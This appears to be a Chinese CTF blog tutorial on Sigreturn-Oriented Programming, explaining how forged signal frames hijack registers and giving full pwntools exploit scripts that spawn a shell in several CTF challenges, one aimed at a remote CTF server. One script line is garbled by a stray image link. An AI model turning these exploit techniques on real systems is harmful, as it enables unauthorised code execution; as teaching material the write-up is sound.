PWN-SROP


[TOC]

SROP原理

signal机制

signal机制是类unix系统中进程间通信的一种方式。我们称其为软中断信号,或者软中断。一般分为三步:

图片来自wiki

  • 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态;
  • 内核会为该进程保存相应的上下文,之后跳转到注册好的 signal handler 中处理相应的 signal
  • signal handler 返回后,内核执行 sigreturn 系统调用,为该进程恢复之前保存的上下文。

1、sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。

2、内核在保存进程相应的上下文时,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,需要注意的是,这一部分是在用户进程的地址空间的。称 ucontext 以及 siginfo 这一段为 Signal Frame,此时栈结构如下:

3、内核在恢复进程相应的上下文时,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

漏洞

漏洞原理

内核在 signal 信号处理的过程中的工作,主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame

也就是说我们可以伪造一个Signal Frame,然后主动去执行 sigreturn 系统调用,这时内核会以为我们是从singal hanlder返回的,所以就会恢复进程上下文,这时就可以修改所有寄存器的值为我们伪造Sinal Frame中的值。

漏洞利用

1、如下图,我们在栈中伪造一个Sinal Frame,当我们执行 sigreturn 系统调用时,寄存器中的值就会被修改:

rax=59
rdi=&"/bin/sh"
rsi=0
rdx=0
rip=&syscall
这就是execv的一个系统调用,接下来会去执行execv("/bin/sh", 0, 0)

2、在1)例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可:

  • 控制栈指针rsp。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。

利用条件

我们在构造 ROP 攻击的时候,需要满足下面的条件

  • 可以通过栈溢出来控制栈的内容(伪造Signal Frame
  • 需要知道相应的地址
    • “/bin/sh”
    • Signal Frame
    • syscall(syscall_ret)
    • sigreturn
  • 需要有够大的空间来塞下整个 Signal Frame

对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。

例题

360春秋杯——smallest-pwn

程序只开启了NX保护,但是代码甚少,我们可用的代码如下图:

程序直接向栈顶写入0x400个字符

  • 这个题就是典型的通过 read 函数返回值来间接修改RAX 寄存器的值
  • 题目中并没有/bin/sh字符串,这里需要我们自己写入,但这个程序很小没有BSS段,所以我们直接把/bin/sh写在栈上
    • 所以我们要泄漏栈地址
    • 然后把/bin/sh写入栈上
  • 伪造Signal Frame,执行execv函数

exp:

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

if args['REMOTE']:
	io = remote('node4.buuoj.cn',25526)
else:
	io = process("./smallest")

"""
0x4000B0 xor rax, rax
0x4000B3 mov edx, 400h    
0x4000B8 mov rsi, rsp 
0x4000BB mov rdi, rax  
0x4000BE syscall 
0x4000C0 ret
"""
def debug():
	gdb.attach(io)
	pause()

syscall_ret = 0x4000BE

payload = p64(0x4000B0)*3 #这里需要三次,第一次修改低字节为B3,第二次泄漏栈地址,第三次写入payload执行后期操作

io.send(payload)
io.send('\xB3') #把低字节修改为B3,而跳过xor rax,rax,且read只读入一个字符,所以返回值rax=1,为write系统调用号
stack = u64(io.recv()[8:16].ljust(8, '\x00'))
print("stack:", hex(stack))

#控制rsp到stack上
read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = stack
read_frame.rdx = 0x400
read_frame.rsp = stack
read_frame.rip = syscall_ret

payload = p64(0x4000B0) + p64(syscall_ret) + str(read_frame)
io.send(payload)
io.send(payload[8:8+15]) #read读取15个字符,返回值rax=15,为sigreturn系统调用号,且避免前之前的payload覆盖,所以就直接把payload的8-23个字符写入

#向栈上写入'/bin/sh\x00',并执行execv
execv_frame = SigreturnFrame()
execv_frame.rax = 59
execv_frame.rdi = stack + 0x120
execv_frame.rsi = 0
execv_frame.rdx = 0
execv_frame.rsp = stack
execv_frame.rip = syscall_ret

payload = p64(0x4000B0) + p64(syscall_ret) + str(execv_frame)
payload += (0x120 - len(![2-1](./PWN-SROP/2-1.png)payload))*'\x00' + '/bin/sh\x00' 

io.send(payload)
io.send(payload[8:8+15])
#debug()

io.interactive()
nkctf2023——ez_stack

程序只开启了NX保护,且有syscall_ret

我们发现有把eax赋值为0xf的操作,所以可以SROP

exp1

  • /bin/sh/\x00写入bss段上
from pwn import *
context(os = 'linux', arch = 'amd64')

io = process("./ez_stack")
elf = ELF("./ez_stack")

def debug():
	gdb.attach(io, "b *0x4011B9")
bss = elf.bss()
mov_rax = 0x401146 #mov rax, 0xf ; ret
syscall = 0x4011EE
print(hex(bss))

#读取/bin/sh/\x00到bss段上
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x200
sigframe.rsp = bss + 8
sigframe.rip = syscall

payload = b'A'*0x10 + b'deadbeef' + p64(mov_rax) + p64(syscall) + str(sigframe)
io.send(payload)

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bss
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = b'/bin/sh\x00' + b'deadbeef' + p64(mov_rax) + p64(syscall) + str(sigframe)
io.send(payload)
#debug()

io.interactive()

exp2

  • 可以看到在下面的syscall之后,有一个 mov eax,0 的操作,所以我们直接跳到0x40011c8那就可以直接向nkctf的位置写入/bin/sh\x00字符串了
from pwn import *
context(os = 'linux', arch = 'amd64')

io = process("./ez_stack")
elf = ELF("./ez_stack")

def debug():
	gdb.attach(io, "b *0x4011B9")
mov_rax = 0x401146 #mov rax, 0xf ; ret
syscall = 0x4011EE
binsh =  0x404040 #address of nkctf

payload = b'A'*0x10 + b'deadbeef' + p64(0x4011C8)
io.send(payload)
io.send(b'/bin/sh\x00')

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = b'A'*0x10 + b'deadbeef' + p64(mov_rax) + p64(syscall) + str(sigframe)
io.send(payload)
#debug()

io.interactive()
buuctf——ciscn_2019_s_3
  • 这道题跟nkctf2023-ez_satck几乎一样
from pwn import *
context(os = 'linux', arch = 'amd64')
#context.log_level = 'debug'
if args["REMOTE"]:
	io = remote('node4.buuoj.cn', 26680)
else:
	io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")

bss = elf.bss()
syscall_ret = 0x400517
sigreturn = 0x4004DA

sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x200
sigframe.rsp = bss + 8
sigframe.rip = syscall_ret
payload = b'A'*0x10 + p64(sigreturn) + p64(syscall_ret) + str(sigframe)

io.send(payload)

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bss
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret

payload = b'/bin/sh\x00' + p64(sigreturn) + p64(syscall_ret) + str(sigframe)
io.send(payload)

io.interactive()
  • 当然这道题有mov rax,0x3B,并且后面write输出字节为0x30,而buf只有0x10大小且与rbp也只相差0x10,且rbp,rsp是重合的,所以可以泄漏栈地址,然后可以直接打ret2csu修改rdi、rsi、rdi的值(后面写ret2csu再写)

rootersctf_2019_srop
  • 与上面题目套路一样

参考文章:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录